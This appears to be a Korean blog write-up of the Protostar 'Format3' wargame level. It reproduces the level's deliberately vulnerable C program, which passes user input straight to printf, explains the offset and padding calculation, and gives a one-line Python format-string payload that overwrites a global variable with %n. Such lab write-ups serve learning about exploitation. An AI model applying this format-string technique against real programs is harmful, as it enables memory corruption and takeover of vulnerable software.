ii4gsp
Exploit Exercises [Protostar - Format3] 본문
시스템 해킹/Exploit Exercises - Protostar
Exploit Exercises [Protostar - Format3]
ii4gsp 2020. 1. 17. 19:54#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void printbuffer(char *string)
{
printf(string);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printbuffer(buffer);
if(target == 0x01025544) {
printf("you have modified the target :)\n");
} else {
printf("target is %08x :(\n", target);
}
}
int main(int argc, char **argv)
{
vuln();
}
target의 값을 0x01025544로 바꿔줘야 한다.
문자 AAAA를 보내고 .%08x로 12번째 주소에 41414141이 저장되어있다.
target의 주소를 구해주었다.
target의 주소는 0x080496f4 이다.
변경해야하는 값 0x0102554는 10진수로 16,930,116 이다.
페이로드는 target 주소 + %08x * 10 + %16,930,032x%n
16,930,032는 target주소와 포맷 공백은 84를 빼준 값이다.
그래야 앞에있는 84와 16,930,032가 더해져 16,930,116이 되어 16진수값 0x0102554가 target주소에 값이 들어간다.
payload
(python -c 'print "\xf4\x96\x04\x08" + "%08x" * 10 + "%16930032x%n"') | ./format3
'시스템 해킹 > Exploit Exercises - Protostar' 카테고리의 다른 글
Exploit Exercises [Protostar - Heap0] (0) | 2020.01.18 |
---|---|
Exploit Exercises [Protostar - Format4] (0) | 2020.01.17 |
Exploit Exercises [Protostar - Format2] (0) | 2020.01.17 |
Exploit Exercises [Protostar - Format1] (0) | 2020.01.17 |
Exploit Exercises [Protostar - Format0] (0) | 2020.01.17 |
Comments